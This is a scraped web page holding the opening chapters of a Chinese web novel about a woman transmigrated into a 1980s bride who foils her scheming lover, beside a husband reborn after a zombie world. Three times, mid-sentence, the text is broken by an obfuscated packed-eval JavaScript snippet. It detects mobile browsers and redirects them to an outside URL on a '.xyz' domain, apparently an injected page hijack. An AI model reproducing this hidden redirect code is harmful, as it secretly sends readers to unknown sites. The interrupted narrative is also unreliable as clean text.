《坐等守寡但老公重生了[八零]》 1. 第1章 一九八五年,三月底。 南城求知巷9号,沈家院门前挂着红灯笼,门上还贴了大大的囍字。 晚上九点左右,几个人从院子里走出来,没走出多远,就开始嘀嘀咕咕。 “听说是娃娃亲,女方倒是守信,明知道沈维舟身体不好,也嫁过来了。” “嗐,我倒是听说,那姑娘小时候跟人抱错了,一直养在乡下,前年才认回来的。小姑娘一开始听说能嫁进沈家,高兴得不得了,后头大约是听说了什么,又闹着要退婚。真的,我娘家表姨是他们家邻居,亲口跟我说的。” “难怪一直没见新娘子露脸,敢情是心不甘情不愿。哎,沈家这样的家世,沈维舟又一表人才,要不是身体那样,哪轮得着她嫁进来哟!” …… 几人边蛐蛐着,边快步走远,很快消失在黢黑的长巷尽头。 同一时间,沈家院子东厢,柳绵绵缩在老式架子床一角,崩溃打量着眼前八十年代的卧室。 老式家具,木制脸盆架、牡丹花铁皮热水瓶……要不是脑子里莫名其妙多出来的信息,她都要怀疑是哪个损友趁她睡着,给她弄到年代短剧拍片现场了。 事实是,向来咸鱼的她,偶然加了一次班,结果就心梗猝死了。 死后她既没上天堂,也没下地狱,而是赶上了穿越的潮流,穿进一本年代文,成了里面戏份不多的炮灰女配。 原主也叫柳绵绵,刚出生的时候跟人抱错了,在农村长到十八岁,也就是前年,才刚被亲生父母接回南城。 一开始原主还挺高兴,毕竟这年月农村的日子不好过,何况她亲生父亲还是南城军工厂的车间主任,家里其他人也都是工人,条件比养父母家不知道要好多少倍。 可没过多久,成长环境不同造成的隔阂和矛盾就暴露了。 亲生父母对她的言行总是看不惯,觉得她粗俗不堪,让他们在大院邻居面前丢脸。哥嫂也差不多,不冷不热的,嘴上不说,眼神中总透露几分嫌弃。 父母时常挂在嘴边的一句话就是:你不懂,就多学学锦诗。 柳锦诗就是那个跟原主抱错的女孩,据说品学兼优,才貌双全,是柳家的骄傲。 去年年中柳锦诗通过军工厂内部招考,进了宣传科。 宣传科干事是干部身份,比当工人还要有面子,对比原主,更是一个像珍珠一个像死鱼眼睛。 原主倒是一心想获得亲生父母的认可,学柳锦诗穿衣打扮、说话做事,学了一阵之后,大院里那些混小子就追着她喊“东施效颦”。 就在原主日子越过越糟心的时候,沈家上门了。 在知道自己有这么一门家世显赫的娃娃亲后,原主忙不迭地就答应了。 只是婚礼前不久,她从家属院一个叫朱永齐的混子口中得知,她的结婚对象、沈老首长的大孙子沈维舟,根本不是什么身体不太好,而是已经病入膏肓了。沈家娶亲是为了“冲喜”,她父母默认将她嫁过去,是为了攀上沈家这门亲。 原主对亲生父母彻底失望,闹着要退婚,朱永齐却劝她不要闹,还给她出了个馊主意。 朱永齐长得不错,又很能甜言蜜语,把一直遭受周围人贬低、嫌弃的原主哄得死心塌地。他撺掇原主先嫁进沈家,想办法从沈家弄点钱,他们再一起私奔去南方做生意挣大钱。 朱永齐还说,沈家人财两失,肯定不会和柳家善罢甘休,这样既能报复她冷漠无情的父母,又能为他们的未来攒下一些本金,一举两得。 原主还真听进去了,嫁进沈家后没几天就卷了钱财跟朱永齐私奔了。 不过朱永齐可不是什么好东西。 到南方以后,他哄着原主花光了所有钱,扭头就把她卖给了人贩子。原主最后是在一个偏远小山村,被买了她的老光棍活活打死的。 今天就是原主嫁入沈家的日子,她心里不痛快,一整天没个好脸色,更是早早就进新房蒙头睡觉。 结果这一睡就睡死了过去,是字面意义的睡死了,再醒过来,就是穿来的柳绵绵了。 爹不疼娘不爱,丈夫是个病入膏肓的,情夫更是个人渣——倒霉成什么样子,才会轮上这样的天崩开局?! 正自怨自艾,静谧的空间里突然响起几声压抑的咳嗽,柳绵绵吓得差点蹦起来,缓了下才反应过来,小心翼翼看向床上那个棉被鼓包。 原主睡下的时候,屋里并没有其他人,不过不用想也知道,这鼓包里除了沈维舟,还能是谁? 柳绵绵警惕地看着鼓包,沈维舟要是这时候醒过来拉她过新婚之夜什么的,她怕自己会忍不住揍他……到时候病入膏肓直接变成一命呜呼就不好了。 所幸沈维舟咳嗽了几声后,没再发出其他动静。 想到新婚之夜,柳绵绵忽然又想起个事情。 原主这个奇葩,她抱着坑沈家的目的嫁进来,当然也没准备和沈维舟发生什么实质关系。她不但不准备和沈维舟发生关系,她还准备新婚之夜出去跟朱永齐幽会,俩人约好了今晚在巷子的一个角落碰面。 新婚夜幽会情夫,玩得还挺花。 柳绵绵看了眼五斗柜上的老式台钟,差不多到原主和朱永齐约定的时间了。 回忆了下原书后面的剧情,柳绵绵在“随便人渣干嘛,最好去死”和“主动出击,给人渣找点麻烦”之间犹豫了下,决定还是主动出击。 她不可能跟人渣去私奔,也不可能刚结婚就离婚回家,何况那个家也没什么好回的。 也就是说,目前看,她最好的选择是想办法先在沈家苟一段时间。 而朱永齐,就是她安生在沈家苟着的最大阻力。 柳绵绵执行力还是很强的,决定了马上就付诸行动。 她先观察了下那个棉被鼓包,确定沈维舟睡得挺沉,于是轻手轻脚挪到床尾,又判断了下沈维舟脚的位置,踩着棉被边角的地方飞快溜下—— 溜不动,脚踩到了什么,一只脚已经落在地上,一只脚还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669995|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡在棉被里,艰难地劈了个叉。 柳绵绵顿时心头一阵狂跳。 好容易把卡住的脚从棉被里拯救出来,柳绵绵暗暗松口气,这回是真飞快地溜下了床。 只是没等她抬脚往外走,手臂突然被拽住,冰凉的触感激得她浑身一哆嗦,忍不住“啊”地尖叫了声,尖叫完她才反应过来,是沈维舟。 沈维舟不知什么时候已经坐了起来,灯光落在他苍白瘦削的侧脸,让五官更显立体,鼻梁高挺,眼眸深邃,轮廓线条也无比优越……像文艺片里俊美忧郁的男主角。 唯一就是眼神凶了一点,冰冷,犀利,甚至带了几分杀气。被他看一眼,莫名就有点头皮发麻后背发凉,有种被什么凶禽猛兽盯上的错觉。 肯定是错觉,他都病入膏肓了。 柳绵绵决定先发制人:“你干嘛?” 沈维舟冷着脸,黑沉的眼眸盯着柳绵绵看了一会儿,放开她,反问:“你做什么去?” 明明什么也没干,柳绵绵却莫名心虚,胡乱找了个借口:“我饿了,想去找点吃的。” 沈维舟深深看了她一眼,没再说什么,往床头一靠,垂下了眼眸,柳绵绵赶紧就溜了。 “吱呀”一声门阖上,屋里安静了下来。 沈维舟抬头看了眼阖上的门,又看了眼屋子里的陈设,神情一时有些怔忪。 上辈子柳绵绵私奔后,母亲跑去柳家大闹一场,回程时出了车祸,在医院抢救一天一夜,出手术室后仍旧昏迷不醒。 他急火攻心,激怒忧心之下病情恶化,没等母亲醒来,自己先病死了。 离奇的是,死后他在另一个世界重生,那个世界到处都是变异的怪物和丧尸。 他的脑海中还出现了一个代号“009”的系统,每天给他发布各种各样的生存任务,每完成一个任务,据说都能提升他的生命值。 每天睁开眼睛就是逃亡、搏斗、杀戮,直到有一天,系统告诉他,所有任务圆满完成,生命值攒够了,他可以回自己的世界了。 再次睁开眼,他果然回到了华国的家里。 久违的,平静,宁和,没有怪物和丧尸,没有血腥与厮杀的世界。 并且是,一切都还没发生的新婚之夜。 新婚之夜。 沈维舟忽然嘲讽地笑了下。 上辈子新婚之夜,他半夜咳醒,柳绵绵根本就没在房间里。他身体不舒服,醒来后就没再睡着,知道柳绵绵是天蒙蒙亮才回来的。 那时候他以为柳绵绵是不想和他同房,故意避去了客房,后来柳绵绵私奔,巷子里风言风语,有人说新婚夜曾看见她在外面跟野男人私会。 说什么饿了找吃的,是想溜出去见那个男人吧? 沈维舟并不打算阻止她,至少,结婚第一天他不想闹起来,让为婚宴忙碌了大半个月的父母担忧闹心。 几分钟后,外面突然传来一阵“乓啷乓啷”的响声,同时响起的,还有女人压抑的尖叫。 2. 第2章 柳绵绵出东厢后,倒也没做什么,就是去厨房拿了今天待客剩下的桂圆茶汤,乓啷乓啷扔在院子里的地上,再压着嗓子尖叫了几声。 等家里人都从屋里出来,她又发挥毕生演技,慌慌张张地冲他们说:“我刚刚听见外头有声音,好奇扒门缝看了一眼,外面有人鬼鬼祟祟地跑过去,吓死我了。” 除了沈伯康、俞婉夫妻、沈维舟、沈维云兄妹,这院子里还住着保姆刘婶和她丈夫王叔。 王叔打开院门左右看看,大红灯笼随风晃动,巷子里空荡荡的,哪有人影? 柳绵绵指了个方向:“往那边跑了。”又抖抖索索地嘟囔:“年前我们大院就进过贼,把几户人家屋里翻了个遍,居然也没被发现,走廊上衣服扔得满地都是,我早晨起来看见,差点没吓死。” 刘婶爱跟左邻右舍凑一起聊八卦,闻言想起前阵子听说的事,惊惧道:“这年头的人真是要钱不要命,听说年初黑省下头一个县城,抢银行的杀了三个职工,尸体都被烧焦了哦。” 柳绵绵说小偷,她一下子联想到抢劫去了。 俞婉:“哦哟,刘嫂子你别说了,大晚上的,别给孩子们吓着了。” 不管是不是小偷,大晚上有人在巷子里鬼鬼祟祟出没,总归还是要去看看的。沈伯康带着王叔出门,准备找左邻右舍一起在巷子里转转。 柳绵绵看见王叔拿了根一手粗的棍子,差点没忍住笑出来。 王叔最好能拿这根棍子狠狠揍朱永齐那个人渣一顿。 两个男人出了门,家里就只剩妇孺病弱了,刘婶赶忙把院门闩上,问柳绵绵:“柳姑娘是不是饿了,我给你煮碗面吧?给维舟炖的鸡汤还剩一点,煮面条很好吃的。” 柳绵绵维持原主难搞的人设,下巴微抬:“我不饿。”说完转身就往东厢走,一副“懒得搭理你们这些人”的样子。 没走出两步,就听见身后沈维云的声音:“妈,你看这个女人,刘婶明明是好心!好心当驴肝肺!” “你这孩子,什么这个女人那个女人,她是你嫂子!” “她才不是我嫂子!你看她像是来跟我哥结婚的吗,我瞧着,她倒是更像讨债的。咱们家又不欠她的,两千块彩礼钱呢,还害哥哥被人说闲话,我今天都听见了!” 平均工资才几十块钱的八十年代,沈家竟然出了两千块钱彩礼? 原本柳绵绵还觉得沈家这事做得不地道,仗着有权有势,忽悠十七八岁的小姑娘嫁给病入膏肓的沈维舟。可其实仔细想想,原主这也算是拿着天价聘金嫁入豪门了,只要手里有钱,哪怕沈维舟过阵子就一命呜呼,她也照样能过好日子。起码,比在亲爹妈家日子要舒坦。 等一下,两千块钱? 原主手里根本没有这么多钱。 到底是沈维云胡说八道,还是原主的亲生父母收了钱没让原主知道? 柳绵绵不是原主,对亲生父母没什么滤镜,客观来看,她觉得后者的可能性更大。这件事她回头肯定要弄清楚,现在她实在是困了,还是先睡觉吧。 房间里依然亮着台灯,沈维舟已经重新躺下,又鼓成了一个包。 跟陌生男人同床共枕,柳绵绵其实挺不习惯的,可她总不能坐椅子上睡吧,何况也不是一天两天。 纠结了下,柳绵绵还是轻手轻脚地走了过去,脱鞋,上床,尽可能蹭着床脚进去。 这回运气好,没踩到沈维舟,结结实实地踩在了床板上。 可没等柳绵绵松口气,沈维舟突然翻了个身,柳绵绵刚抬起的那只脚,眼看要踩在沈维舟身上,她赶紧缩回来,结果身体不稳,整个人一下子摔趴在了被子上。 柳绵绵:“……” 没敢看沈维舟,她手忙脚乱地爬到里面,扯过另一条被子,给自己卷成了另一个鼓包。 没事,只要我不尴尬,尴尬的就是别人。 随遇而安是咸鱼的本能,既然穿越已成事实,柳绵绵也没多纠结,眼睛一闭就是睡。 两个人、两床被子,把一米五左右宽的架子床塞得满满登登,被窝因此也特别暖和,没多久柳绵绵就热得把手脚都伸出了被子。一个转身,啪地,手臂打在了沈维舟的脑袋上。 睡不着正闭目养神的沈维舟:“……” 坐起来,厌恶地看向里侧的女人。 被子踢成了一团,她大半个身体都在外面,身体不但压着自己的被子,还压住了他的被角,睡得简直张牙舞爪。 沈维舟眉头皱得死紧,半晌,拎着柳绵绵的手,将人翻了个面儿。 没事,怪物或丧尸在旁边他也一样睡觉,何况个女人? * 柳绵绵做了个梦,梦见自己徒步爬火山,费了九牛二虎的力气,终于爬到了火山口,结果火山上下起了冰雨,于是冰火两重天,她半边身体被火山烤得灼热无比,半边身体浸在冰雨里,冷得直打哆嗦。 睁开眼才发现自己只盖了一半的被子,半边身体露在外面,冻得冰凉。 沈维舟已经起床了,被子叠得方方正正放在角落里。 柳绵绵默默叹了口气,这种只拥有二分之一张床使用权的日子,也不知道还要过多久。 倒也不是她盼着沈维舟死,而是以沈家的人脉,能治好肯定早治好了,现在这么拖着,肯定是没办法了。 毕竟原书里沈维舟也确实没过多久就病死了。 能怎么办,先忍忍吧。 柳绵绵爬起来,看一眼沈维舟那条被子,再看一眼自己叠的,皱皱巴巴,歪七扭八,对比简直堪称惨烈。 算了,叠再好又不会睡得更舒服。 拎出放在角落里的皮箱,柳绵绵挑挑拣拣了一番,挑出一条浅灰色的裤子和同色系的上衣,外套仍旧是原主昨天穿的那件枣红色廓形西装。 新打的三门衣柜上嵌着镜子,镜子里面的人跟她上辈子有八、九分相像,只是更年轻一点,更瘦一点,眉头习惯性微微蹙着,脾气不太好的样子。 柳绵绵挑了挑眉,镜子里人神情一下子灵活了起来。 这个年代的西装都会做垫肩,所幸她身上这件垫肩不厚,看着并不怪异,反倒显得很大气。裤子和内搭的质感也很好,柳绵绵抓了抓睡得乱七八糟的过肩长发,心说只要再抹个口红,妥妥就是一个复古港风美女了。 换下来的棉布睡衣,还有原主昨天穿过的粉色衬衣、藏青长裤,柳绵绵都收在一起卷了卷,抓着这个衣服卷,她拉开了门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669996|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门一打开,就看见刘婶拿着扫把站在门外,柳绵绵吓了一跳,有些莫名其妙:“做什么?” 刘婶反应也是很快,抓着扫把胡乱在地上划拉了两下,不太理直气壮地说:“我扫地呢。” 柳绵绵看着她没说话。 刘婶干笑了下,说:“昨天夜里他们抓到个贼头贼脑的小伙子,给人送派出所去了,那人嚷嚷着自己不是贼,还说跟你认识,是过来找你的。派出所那边说了,让你今天过去一趟哦。” 哦,是朱永齐那个人渣被逮到了。 刘婶这是怕她睡晚了,耽误去派出所吧? 不过,柳绵绵面上还是一副惊讶疑惑的样子:“怎么会,我在南城没认识几个人的,再说,要真是来找我,怎么不来家里敲门,鬼鬼祟祟跑过去干嘛?” 刘婶:“哦哟,可不是,我就说哪有大小伙子夜里来找新嫁娘的,这不是胡说八道嘛。不过,派出所那边还是要去一下的哦。” 柳绵绵笑了下:“刘婶,你还挺拎得清的嘛。” 刘婶看上去没有一开始那么局促了,笑呵呵说:“那还是拎得清的哟。”甚至还夸起了柳绵绵:“柳姑娘,你今天这一身好洋气的,跟电视上的时髦女郎一样。” 柳绵绵莞尔:“我去烫个卷发,会更洋气。” “让俞主任带你去,俞主任认识原先工人路上那个老师傅,手艺老好哦。”刘婶夸了一通那个据说建国前在沪市混过的老师傅,扭头往餐厅的方向看了眼,声音立马扬了上去,“维舟,快来看你媳妇,是不是跟电影明星似的?” 柳绵绵抬眼看去,沈维舟不知什么时候站在了餐厅门外的桂花树下,正用他那一双漆黑深邃的、文艺片男主角的眼睛打量着她。 昨夜躺在床上还不觉得,现在看,沈维舟真是又高又瘦。他穿了一件浅灰色的毛衣,大概是骨相好,虽然瘦,但看着并不显病态,有种超越年代的矜贵气质。 柳绵绵暗自啧啧两声,她实在搞不懂,原主是有什么想不开,跑去跟人渣私奔,沈维舟虽然活不久,但他长得帅啊! 沈维舟并没有应和刘婶,一言不发回了房。 刘婶有些尴尬,柳绵绵感觉她可能怕自己又发脾气,语气里都带上了几分小心翼翼:“他性格就这样,不爱说话……这是要洗的衣服么,给我给我,早饭在桌上,你看看,要不喜欢吃,我给你做别的。” 早饭应该是外面买来的,豆香味很浓的豆浆,袖珍玲珑的小笼包,有点软塌了的油条,同样有点软塌了的烧饼,还有茶叶蛋。 柳绵绵喝了一大碗豆浆,吃了一根油条、六个小笼包和一个茶叶蛋。 换了穿越前,这么多东西她能吃两顿,柳绵绵摸摸肚子,现在她居然都没觉得撑。 吃完饭,柳绵绵准备去派出所,临出门前想起来:“对了,昨晚抓到贼的时候揍他了么?” 刘婶坐在小板凳上洗衣服,闻言乐道:“嗐,他要不跑,肯定不会揍他,顶多问两句,他见人就跑,可不就得挨揍?要不是他想跑,也不会给他摁派出所去呀你说是不是?” 回忆了下王叔当时拿的棍子,柳绵绵非常欣慰:“那就好。” 渣男若安好,世界还得了? 3. 第3章 求知巷这一片都是大大小小的四合院,青砖黛瓦马头墙,非常有味道。 巷子外头就是南城第二热闹的街芷江路。第一热闹的是烫头老师傅所在的工人路。芷江路再往南,就是半抱南城的母亲河芷江。 柳绵绵站在巷子口,看着阳光下热闹的街道。 路上汽车很少,人们大多骑着自行车或者步行,身上衣服以蓝色、青色、黑白灰色为主,偶尔有几个衣服鲜亮的,就显得非常出挑。 比如她。 巷子口有一家国营饭店,窗户特别大,靠窗一张桌子上列队似的摆着一个个放好了调料和榨菜紫菜碎的碗,有人过来,穿白色工服的服务员就从桶里舀了豆浆冲上。 另一侧的大白墙上,刷着“节约粮食,从我做起”的红色标语。 一切看上去都既然朴素又充满了年代感。 等到了派出所,见到身穿橄榄绿“83”式制服的公安,这种感觉就更明显了。 “嫌疑人叫朱永齐,他自己的说法是,跟你是邻居,平时也挺熟悉的,他凑热闹去了求知巷,本来想找你说两句话,恭喜一下,没想到会被人误认作小偷。” 接待柳绵绵的公安三十岁左右,浓眉大眼,国字脸,非常正气凛然的长相。他打量柳绵绵一眼,问:“他说的属实吗?” 柳绵绵一脸惊讶:“原来是朱永齐啊!人我倒是认识,我们住一个大院的嘛。可是我跟他不熟的,我去年才被认回来,跟大院里的人都算不上太熟的。” 她疑惑问:“再说,那时候都多晚啦,他跑来恭喜我,这不是脑壳坏掉了吗?” 公安抬头看了她一眼:“是你先发现巷子里有可疑人员的?” 柳绵绵点头:“我饿了想去找东西吃,听见外面有声音,就好奇扒门缝看了一眼,看见有个人,头发大概比我短一点吧。”在肩膀的位置比了比,继续说:“沿着墙角跑过去了,那样子,我感觉不是好人。” 她又说起年前大院进贼的事:“我早晨起来洗漱,看见走廊上衣服扔了满地,那场面,吓死人了。宁可信其有,不可信其无嘛,我公公他们也就是去巷子里看看,没想到啊,真能抓到人。” 公安又抬头看了她一眼,微蹙眉头,若有所思问:“你说那个人是长头发?” 柳绵绵点点头,真诚表达了疑惑:“那个人应该不是朱永齐,怎么最后抓到的是朱永齐?” 公安没接这话,唰唰写好笔录,将记录纸递给她:“看一下,没问题的话签个字。” 等柳绵绵签好,公安挥挥手:“你可以回去了。” 柳绵绵笑笑:“谢谢公安同志。” 刚走出办公室,迎面就见一个年轻公安带着个人走过来,那人一张脸青紫中带着肿,五官都有点变形了。 柳绵绵正奇怪,这人看着怎么有点眼熟,还没来得及展开联想,对方已经冲了过来:“绵绵,你可算来了,你帮我跟公安解释了吗,我现在是不是可以回家了?” 哟,知道了,原来是渣男。 柳绵绵往后退了一大步,表情夸张:“丑八怪,你谁啊?” “朱永齐,我是朱永齐啊!”朱永齐那样子,跟逃荒乞讨半年终于遇见了亲人似的。 柳绵绵站那儿,上下打量了鼻青脸肿的渣男几眼。 嘶,不怪她一下没认出来,原主记忆中的朱永齐,勉强还能算是个帅哥,而眼前这位,说一句丑八怪真没冤枉他。 真惨呐! 给王叔点赞。 她看着朱永齐,表情惊讶中带了些许无奈:“原来是你啊,朱大哥。咱们邻里邻居的,我出于礼貌喊你一声朱大哥,可其实咱们也没多熟吧,你居然跟公安同志说,去求知巷是找我的,你这谎也撒得太离谱了吧?” 柳绵绵没给朱永齐反应的机会,接着说:“大晚上的,你一个大老爷们儿,来找我一个刚结婚的小媳妇儿,你这哪是要恭喜我,你这分明是要往我身上泼脏水啊!” 叹了口气,她真诚劝说道:“朱大哥,坦白从宽,抗拒从严,你要真有事,就老实交代,要没做亏心事,就别怕,相信公安同志肯定会还你清白的。” 柳绵绵叭叭叭一通输出,朱永齐的表情从茫然、震惊转而渐渐扭曲。 他阴沉着脸,咬牙反问:“柳绵绵,你这是要过河拆桥?!你要这样,可别怪我不客气!” 柳绵绵看向旁边的公安:“同志,他污蔑不成,公然威胁。” 沉默看戏的年轻公安被拉入战局,扫了俩人一眼,一推朱永齐,呵斥:“你给我老实点!” 被公安推进旁边一间屋子之前,朱永齐扭头狠狠瞪了柳绵绵一眼,柳绵绵挑了挑眉,说:“哦哟,你这么瞪我做什么,做人要讲良心的,我是不可能帮着你撒谎的嘛。” 南城人说话软软的,还喜欢带语气词,这个特点在刘婶身上尤其明显,柳绵绵发现,这个时候用这种语气说话,简直自带阴阳怪气的效果。 看朱永齐更加扭曲丑陋的脸就知道,他已经快被气死了。 哈哈! 走出派出所,柳绵绵在附近转悠了会儿。 据说这是个猪站在风口都能起飞的年代,只是她现在兜里统共才九十八块两毛钱,这点钱,好像干什么都不够啊? 不到一百块钱的“存款”,让身处陌生时代的柳绵绵非常的没有安全感。什么朱永齐,什么沈维舟,都不重要,现在最重要的是挣钱! 转悠一圈,柳绵绵心里稍微有了点谱,溜达着回了求知巷。 “哦哟,昨天夜里真有贼呢!”刘婶边洗菜边说,“隔壁帽儿胡同有户人家,也是昨天办的喜酒。哦,其实不止他们家,昨天日子大,咱们这一片好几户人家都办喜事呢。” 顿了下,刘婶又说回到帽儿胡同那家人:“他家在家摆的酒席,自家一个院子,借了隔壁一个院子,吃吃喝喝的,闹腾到九点多。正好,咱们这边不是抓贼嘛,他们那边听说了,他家那个新娘子也是精的哦,跑屋里去开了箱子点嫁妆。” 刘婶语气逐渐夸张:“你猜怎么的,箱子里的金银首饰都不见了哦!” 柳绵绵坐那儿嗑瓜子,听到这里马上捧场惊呼:“哎呀,那损失可太大了!” “可不是!听说她娘家收了彩礼,一分钱没留,都买了金银首饰给她带着了,加上婆家给的三金一银,真是不少的哦!”刘婶叹息。 南城风俗,男方如果条件好,聘礼会给“三金一银”,即金项链、金耳环、金戒指和银手镯,条件差的就另说。 柳绵绵穿越前,实物黄金价格已经飙升至上千元每克,按这个价格,这位新娘子丢失的首饰价值没准上六位数了。 放在五十年后,也是一笔很大的损失,更别说这时候了。 原书里,新娘子是在半个月后才发现首饰不见了的,虽然马上报了警,可中间隔了太长时间,她自己也搞不清东西究竟是什么时候丢的,最后自然也没能找回来。 因为这件事,婆家对她很不满,认为是她没有保管好东西。之后不久,小叔子上夜班回家路上遇上抢劫,被人捅了三刀,送医院没救回来。这件事本来跟她没什么关系,可她婆婆却认为,是因为她弄丢金银首饰,又报了案,闹得沸沸扬扬露了财,抢劫的才会盯上小儿子。家庭矛盾于是更加激化。 新娘子在一年多后难产而死。 而那些金银首饰,被小偷藏在一个隐秘的地方,后来辗转落入原书女主手里,成为她攫取第一桶金的本钱。 多年后,原书女主成为南城有名的富豪,出资赞助贫困学生,其中就有这位新娘子难产生下的女儿。 “也不知道公安能不能把东西找回来,要是找不回来,这姑娘以后在婆家日子可不好过哟。”刘婶叹息。 柳绵绵被打断思绪,心说自己已经给公安透露了重要线索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669997|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来这次应该能找回东西……实在不行,她过几天再去提供点线索嘛。 她安慰刘婶:“这种小案子,相信公安很快就能破案的。” 有了一起聊八卦的情谊,刘婶对柳绵绵的印象更加改观,哪怕她一边嗑着瓜子一边对木盆里的菜挑三拣四,一会儿嫌弃这个菜不够嫩,一会儿嫌弃这个菜口感有点苦,刘婶也是笑眯眯地:“今天去晚了,掐尖的那些早被人抢光啦,我明天早点去,保准能抢到好的。” 柳绵绵摸摸鼻子,没再吭声。 为什么买菜晚了,还不是为了守在门口提醒她去派出所。 中午其他人不回家,午饭只有柳绵绵、沈维舟和刘婶三个人。沈维舟一直待在书房里没出来,刘婶端了煮好的面条进去,出来后又是欣慰又是担忧:“维舟今天精神头蛮不错的哦,不过,整天鼓捣那些东西,也太费神了。柳姑娘你是不知道哦,维舟从小就聪明得不得了……” 刘婶举了一堆例子,什么其他孩子还在玩泥巴,他已经会看那种深奥得不得了的书,什么考试从来只考第一连第二名都没考过,什么高考卷子都没做完却还是考上了清大……柳绵绵却想到了慧极必伤四个字。 沈维舟这配置,但凡换个小说题材,都该是病娇男主,只可惜原书是个大女主年代文,沈维舟成了早死的白月光炮灰。 吃完饭柳绵绵回房睡了个午觉。 沈维舟一直没出现,她终于拥有了床百分百的使用权,这一觉不知道睡得多香。 睡醒后柳绵绵跟刘婶说了声,就又出门了。 芷江路南面有几栋洋房,其中一栋铁艺大门上爬满了常青藤,绿叶掩映中,露出金色的招牌:芷江西餐厅。 大门左侧墙上挂了一块黑板,黑板上几行清雅的字体,写着今日推荐菜色,底下随意画了一条波浪线,波浪线下一行小字:招聘钢琴师,可兼职,薪水从优。 听说这家餐厅的老板是港商林家的二小姐。 林家投资建设芷江大桥,又捐了图书馆给南城大学,在南城名声很是不错。 坊间传闻——其实是刘婶说的,说这位二小姐参加过选美比赛,得过港姐第二名,受不了成天胡编乱造的港城狗仔,所以更喜欢待在南城。 连港姐、狗仔都知道,求知巷老太太们的八卦能力真是不容小觑。 这个时间餐厅里没有客人,餐厅经理是个四十多岁的中年男人,普通话说得怪腔怪调,不过好歹能交流。 聊了几句后,经理请柳绵绵现场弹奏,柳绵绵随便弹了两段,经理表情意外:“柳小姐人又这么靓,琴又弹这么好,好犀利的啦!” 随后两人谈起薪资待遇:“每天工作五个钟头,每周休息一天,月薪两百,柳小姐薪水比南城大部分人都高啦。” “饭点不能吃饭,连续不停弹几小时的琴,这份工作其实也很辛苦的啊!”柳绵绵摇头,“我希望月薪不低于三百八十元。” 经理错愕道:“柳小姐,你不是在开玩笑吧,南城平均工资才多少!” 柳绵绵笑眯眯:“往前推十年,弹钢琴、吃西餐还是小资产阶级情调,是要被批判的。可想而知,南城会弹钢琴的人能有多少?而这些人,大部分都有本职工作,不是在艺术学院当老师,就是在文工团、剧团,他们哪有时间给餐厅弹琴?” 要不是一直招不到人,餐厅怎么会写“可兼职,薪水从优”? 经理无语:“钢琴师不是必须的,我们也可以先不招。” “也对。”柳绵绵笑了下,“不过,那餐厅就缺了点林二小姐想要的格调了。” 看经理被噎得半天说不出话,柳绵绵就知道自己猜对了。 经理沉默几秒后,摇头失笑:“柳小姐,你一点都不像南城人,南城人都没有像你这么会谈薪水的啦!” “陈经理过奖啦!”柳绵绵笑得很开心,主动伸出手,“那,合作愉快?” 4. 第4章 巷子口国营饭店隔壁,是一家老字号的糕饼店。糕饼店最近从沪市请了一位西点师傅,奶油面包做得又松软又香甜,每天下午面包出炉,糕饼店门口都排长队。 顺利拿下高薪工作,柳绵绵心情很不错,口袋里的九十八块二毛也不用再抠抠搜搜,于是乐呵呵地去排队买了三个面包。 柳绵绵其实也没想到能这么顺利。 三百八十元是给餐厅经理留了讨价还价的余地的,哪想人家港城人财大气粗,抱怨了两句,却根本没还价。 平均月工资才几十元的年代,她每个月挣三百八十元,妥妥的高收入了。刨除那些个体户,整个南城工资比她高的,怕是都很少。 拎着牛皮纸袋往求知巷9号走,遇见几个放学的小学生,小家伙们夸张地吸了吸鼻子,叽叽哇哇地就嚷嚷上了。 “9号院的倒霉媳妇买了奶油面包!” “买了一大袋!” “快快快,我们也回家拿钱排队去!” …… 一阵踢踢踏踏的脚步声,小家伙们各自钻进了自家院子,很快,几个院子分别传出或欢呼或哭闹的声音,想来是有人欢乐有人要挨揍了。 柳绵绵:“……” 究竟是哪个不要脸的背后蛐蛐她是倒霉媳妇。 走到9号院门口,柳绵绵听见里面有人在说话:“……小沈身体是不好,可他一表人才,学历又高,家世也好,不说挑个门当户对的大学生,挑个有正式工作的城里人还是容易的呀。现在这个嘛,又没文凭又没工作,还是乡下长大的,听说脾气还不好?哦哟,我是真替小沈可惜呀!” 柳绵绵忍不住翻了个白眼。 原主是在乡下长大,可好歹高中是混毕业了的,在这个年代,学历也不算低了。 再说,沈维舟那只是身体不好吗,他都生命倒计时了。 再再说,不是沈家找上门想娶亲“冲喜”吗,这人怎么还替沈维舟可惜起来了。 柳绵绵又听见刘婶的声音:“你听谁说的呀,我看柳姑娘人蛮好的,长得漂亮,高中生,学历也不低了,脾气是有一点,也还好的,小姑娘嘛,哪个没有点小脾气的?” 